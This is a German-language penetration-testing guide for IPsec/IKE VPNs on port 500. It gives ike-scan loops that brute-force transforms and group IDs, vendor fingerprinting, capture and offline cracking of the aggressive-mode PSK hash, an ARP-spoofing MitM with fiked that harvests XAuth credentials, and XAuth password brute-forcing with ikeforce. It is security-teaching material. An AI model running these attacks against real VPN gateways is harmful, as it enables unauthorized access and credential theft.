# 500/udp - Pentesting IPsec/IKE VPN {{#include ../banners/hacktricks-training.md}} ## Grundlegende Informationen **IPsec** wird weithin als die Haupttechnologie zur Sicherung der Kommunikation zwischen Netzwerken (LAN-zu-LAN) und von entfernten Benutzern zum Netzwerkgateway (Fernzugriff) anerkannt und dient als Rückgrat für Unternehmens-VPN-Lösungen. Die Einrichtung einer **Sicherheitsassoziation (SA)** zwischen zwei Punkten wird von **IKE** verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll, das für die Authentifizierung und den Schlüsselaustausch entwickelt wurde. Dieser Prozess verläuft in mehreren Phasen: - **Phase 1:** Ein sicherer Kanal wird zwischen zwei Endpunkten erstellt. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder von Zertifikaten, wobei entweder der Hauptmodus verwendet wird, der drei Nachrichtenpaare umfasst, oder **aggressiver Modus**. - **Phase 1.5:** Obwohl nicht obligatorisch, verifiziert diese Phase, bekannt als die Erweiterte Authentifizierungsphase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und ein Passwort erforderlich sind. - **Phase 2:** Diese Phase ist der Aushandlung der Parameter zur Sicherung von Daten mit **ESP** und **AH** gewidmet. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um **Perfect Forward Secrecy (PFS)** zu gewährleisten und die Sicherheit zu erhöhen. **Standardport:** 500/udp ## **Entdecken** Sie den Dienst mit nmap ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 Host is up (0.00036s latency). PORT STATE SERVICE 500/udp open isakmp MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Eine gültige Transformation finden** Die IPSec-Konfiguration kann so vorbereitet werden, dass sie nur eine oder wenige Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. **Jede Transformation** enthält eine Anzahl von Attributen wie DES oder 3DES als **Verschlüsselungsalgorithmus**, SHA oder MD5 als **Integritätsalgorithmus**, einen Pre-Shared Key als **Authentifizierungstyp**, Diffie-Hellman 1 oder 2 als **Schlüsselverteilungsalgorithmus** und 28800 Sekunden als **Lebensdauer**. Das erste, was Sie tun müssen, ist, **eine gültige Transformation zu finden**, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool **ike-scan** verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen Vorschlag mit **acht Transformationen darin**. Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten: ``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=d90bf054d6b76401) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` Wie Sie in der vorherigen Antwort sehen können, gibt es ein Feld namens **AUTH** mit dem Wert **PSK**. Das bedeutet, dass das VPN mit einem Pre-Shared Key konfiguriert ist (und das ist wirklich gut für einen Pentester).\ **Der Wert der letzten Zeile ist ebenfalls sehr wichtig:** - _0 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:_ Das bedeutet, dass das Ziel **kein IPsec-Gateway** ist. - _**1 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:**_ Das bedeutet, dass das **Ziel für IPsec konfiguriert ist und bereit ist, eine IKE-Verhandlung durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind** (eine gültige Transformation wird in der Ausgabe angezeigt). - _0 zurückgegebene Handshake; 1 zurückgegebene Benachrichtigung:_ VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn **keine der Transformationen akzeptabel ist** (obwohl einige Gateways dies nicht tun, in diesem Fall sollte eine weitere Analyse und ein überarbeiteter Vorschlag versucht werden). In diesem Fall haben wir bereits eine gültige Transformation, aber wenn Sie im 3. Fall sind, müssen Sie **ein wenig brute-forcen, um eine gültige Transformation zu finden:** Zuerst müssen Sie alle möglichen Transformationen erstellen: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` Und dann jede einzelne mit ike-scan brute-forcen (das kann mehrere Minuten dauern): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` Wenn der Brute-Force-Angriff nicht funktioniert hat, könnte es sein, dass der Server auch auf gültige Transformationsanfragen ohne Handshakes reagiert. Dann könntest du denselben Brute-Force-Angriff versuchen, aber im aggressiven Modus: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Hoffentlich **wird eine gültige Transformation zurückgegeben**.\ Sie können den **gleichen Angriff** mit [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) versuchen.\ Sie könnten auch versuchen, Transformationen mit [**ikeforce**](https://github.com/SpiderLabs/ikeforce) zu brute-forcen: ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` ![](<../images/image (617).png>) In **DH-Gruppe: 14 = 2048-Bit MODP** und **15 = 3072-Bit**\ **2 = HMAC-SHA = SHA1 (in diesem Fall). Das `--trans` Format ist $Enc,$Hash,$Auth,$DH** Cisco empfiehlt, die Verwendung von DH-Gruppen 1 und 2 zu vermeiden, da sie nicht stark genug sind. Experten glauben, dass **Länder mit vielen Ressourcen die Verschlüsselung** von Daten, die diese schwachen Gruppen verwenden, leicht brechen können. Dies geschieht durch die Verwendung einer speziellen Methode, die sie darauf vorbereitet, die Codes schnell zu knacken. Auch wenn es viel Geld kostet, diese Methode einzurichten, ermöglicht es diesen mächtigen Ländern, die verschlüsselten Daten in Echtzeit zu lesen, wenn sie eine Gruppe verwenden, die nicht stark ist (wie 1.024-Bit oder kleiner). ### Server-Fingerprinting Dann können Sie ike-scan verwenden, um zu versuchen, **den Anbieter** des Geräts zu **entdecken**. Das Tool sendet einen ersten Vorschlag und hört auf zu wiederholen. Dann wird es die **Zeit**-Differenz **zwischen** den empfangenen **Nachrichten** vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale **Vendor ID (VID) Payload** mit IKE. **Geben Sie die gültige Transformation an, falls erforderlich** (unter Verwendung von --trans) Wenn IKE entdeckt, welcher Anbieter es ist, wird es dies ausdrucken: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=4f3ec84731e2214a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 Implementation guess: Cisco VPN Concentrator Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` Dies kann auch mit dem nmap-Skript _**ike-version**_ erreicht werden. ## Finden der richtigen ID (Gruppenname) Um den Hash erfassen zu können, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen.\ Dazu empfehle ich Ihnen 2 Methoden: ### Bruteforcing ID mit ike-scan Versuchen Sie zunächst, eine Anfrage mit einer gefälschten ID zu stellen, um den Hash zu sammeln ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` Wenn **kein Hash zurückgegeben wird**, dann wird diese Methode des Brute-Forcings wahrscheinlich funktionieren. **Wenn ein Hash zurückgegeben wird, bedeutet das, dass ein gefälschter Hash für eine gefälschte ID zurückgesendet wird, sodass diese Methode nicht zuverlässig** ist, um die ID zu brute-forcen. Zum Beispiel könnte ein gefälschter Hash zurückgegeben werden (das passiert in modernen Versionen): ![](<../images/image (917).png>) Aber wenn, wie ich gesagt habe, kein Hash zurückgegeben wird, dann solltest du versuchen, gängige Gruppennamen mit ike-scan zu brute-forcen. Dieses Skript **wird versuchen, mögliche IDs zu brute-forcen** und wird die IDs zurückgeben, bei denen ein gültiger Handshake zurückgegeben wird (das wird ein gültiger Gruppenname sein). Wenn du eine spezifische Transformation entdeckt hast, füge sie in den ike-scan-Befehl ein. Und wenn du mehrere Transformationen entdeckt hast, kannst du gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (du solltest sie alle ausprobieren, bis eine von ihnen richtig funktioniert). Du kannst das [Wörterbuch von ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) oder [das in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) mit gängigen Gruppennamen verwenden, um sie zu brute-forcen: ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` Or use this dict (is a combination of the other 2 dicts without repetitions): {{#file}} vpnIDs.txt {{#endfile}} ### Bruteforcing ID mit Iker [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) verwendet ebenfalls **ike-scan**, um mögliche Gruppennamen zu bruteforcen. Es folgt seiner eigenen Methode, um **eine gültige ID basierend auf der Ausgabe von ike-scan zu finden**. ### Bruteforcing ID mit ikeforce [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ist ein Tool, das ebenfalls verwendet werden kann, um **IDs zu bruteforcen**. Dieses Tool wird **versuchen, verschiedene Schwachstellen auszunutzen**, die verwendet werden könnten, um **zwischen einer gültigen und einer ungültigen ID zu unterscheiden** (kann falsche Positiv- und Negativ-Ergebnisse haben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich). Standardmäßig wird **ikeforce** zu Beginn einige zufällige IDs senden, um das Verhalten des Servers zu überprüfen und die Taktik zu bestimmen, die verwendet werden soll. - Die **erste Methode** besteht darin, die Gruppennamen durch **Suche** nach den Informationen **Dead Peer Detection DPD** von Cisco-Systemen zu bruteforcen (diese Informationen werden nur vom Server wiedergegeben, wenn der Gruppenname korrekt ist). - Die **zweite Methode**, die verfügbar ist, besteht darin, **die Anzahl der Antworten zu überprüfen, die auf jeden Versuch gesendet werden**, da manchmal mehr Pakete gesendet werden, wenn die korrekte ID verwendet wird. - Die **dritte Methode** besteht darin, nach **"INVALID-ID-INFORMATION" als Antwort auf eine falsche ID zu suchen**. - Schließlich, wenn der Server auf die Überprüfungen nichts zurücksendet, wird **ikeforce** versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server bei der korrekten ID mit einem Paket antwortet.\ Offensichtlich besteht das Ziel des Bruteforcings der ID darin, den **PSK** zu erhalten, wenn Sie eine gültige ID haben. Dann müssen Sie mit der **ID** und dem **PSK** das XAUTH bruteforcen (wenn es aktiviert ist). Wenn Sie eine spezifische Transformation entdeckt haben, fügen Sie sie im ikeforce-Befehl hinzu. Und wenn Sie mehrere Transformationen entdeckt haben, können Sie gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (Sie sollten sie alle ausprobieren, bis eine von ihnen richtig funktioniert). ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ```bash ./ikeforce.py -e -w ./wordlists/groupnames.dic ``` ### Sniffing ID (From the book **Network Security Assessment: Know Your Network**): Es ist auch möglich, gültige Benutzernamen zu erhalten, indem man die Verbindung zwischen dem VPN-Client und dem Server sniffed, da das erste aggressive Modus-Paket, das die Client-ID enthält, im Klartext gesendet wird. ![](<../images/image (891).png>) ## Capturing & cracking the hash Schließlich, wenn Sie eine **gültige Transformation** und den **Gruppennamen** gefunden haben und wenn der **aggressive Modus erlaubt ist**, können Sie sehr einfach den knackbareren Hash erfassen: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` Der Hash wird in _hash.txt_ gespeichert. Sie können **psk-crack**, **john** (unter Verwendung von [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) und **hashcat** verwenden, um den Hash zu **cracken**: ```bash psk-crack -d psk.txt ``` ## **XAuth** **Aggressive mode IKE** kombiniert mit einem **Pre-Shared Key (PSK)** wird häufig für **Gruppenauthentifizierung** verwendet. Diese Methode wird durch **XAuth (Extended Authentication)** ergänzt, das eine zusätzliche Schicht der **Benutzerauthentifizierung** einführt. Diese Authentifizierung nutzt typischerweise Dienste wie **Microsoft Active Directory**, **RADIUS** oder vergleichbare Systeme. Beim Übergang zu **IKEv2** ist ein bemerkenswerter Wechsel zu beobachten, bei dem **EAP (Extensible Authentication Protocol)** anstelle von **XAuth** zur Authentifizierung von Benutzern verwendet wird. Diese Änderung unterstreicht eine Evolution der Authentifizierungspraktiken innerhalb sicherer Kommunikationsprotokolle. ### Lokales Netzwerk MitM zur Erfassung von Anmeldeinformationen So können Sie die Daten der Anmeldung mit _fiked_ erfassen und sehen, ob es einen Standardbenutzernamen gibt (Sie müssen den IKE-Verkehr zu `fiked` umleiten, um ihn abzuhören, was mit Hilfe von ARP-Spoofing erfolgen kann, [mehr Infos](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked wird als VPN-Endpunkt fungieren und die XAuth-Anmeldeinformationen erfassen: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` Auch, versuchen Sie mit IPSec einen MitM-Angriff durchzuführen und blockieren Sie den gesamten Verkehr zu Port 500. Wenn das IPSec-Tunnel nicht hergestellt werden kann, wird der Verkehr möglicherweise unverschlüsselt gesendet. ### Brute-Forcing von XAUTH-Benutzernamen und -Passwort mit ikeforce Um den **XAUTH** zu brute-forcen (wenn Sie einen gültigen Gruppennamen **id** und den **psk** kennen), können Sie einen Benutzernamen oder eine Liste von Benutzernamen und eine Liste von Passwörtern verwenden: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` Auf diese Weise wird ikeforce versuchen, sich mit jeder Kombination aus Benutzername:Passwort zu verbinden. Wenn Sie eine oder mehrere gültige Transformationsmethoden gefunden haben, verwenden Sie diese einfach wie in den vorherigen Schritten. ## Authentifizierung mit einem IPSEC VPN In Kali wird **VPNC** verwendet, um IPsec-Tunnel einzurichten. Die **Profile** müssen im Verzeichnis `/etc/vpnc/` gespeichert sein. Sie können diese Profile mit dem Befehl _**vpnc**_ starten. Die folgenden Befehle und Konfigurationen veranschaulichen den Prozess der Einrichtung einer VPN-Verbindung mit VPNC: ```bash root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP IPSec gateway [VPN_GATEWAY_IP] IPSec ID [VPN_CONNECTION_ID] IPSec secret [VPN_GROUP_SECRET] IKE Authmode psk Xauth username [VPN_USERNAME] Xauth password [VPN_PASSWORD] STOP root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` In diesem Setup: - Ersetzen Sie `[VPN_GATEWAY_IP]` durch die tatsächliche IP-Adresse des VPN-Gateways. - Ersetzen Sie `[VPN_CONNECTION_ID]` durch die Kennung für die VPN-Verbindung. - Ersetzen Sie `[VPN_GROUP_SECRET]` durch das Gruppenpasswort des VPNs. - Ersetzen Sie `[VPN_USERNAME]` und `[VPN_PASSWORD]` durch die Authentifizierungsdaten des VPNs. - `[PID]` symbolisiert die Prozess-ID, die zugewiesen wird, wenn `vpnc` initiiert. Stellen Sie sicher, dass tatsächliche, sichere Werte verwendet werden, um die Platzhalter bei der Konfiguration des VPNs zu ersetzen. ## Referenzmaterial - [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) - [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) - [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf) - Network Security Assessment 3rd Edition ## Shodan - `port:500 IKE` {{#include ../banners/hacktricks-training.md}}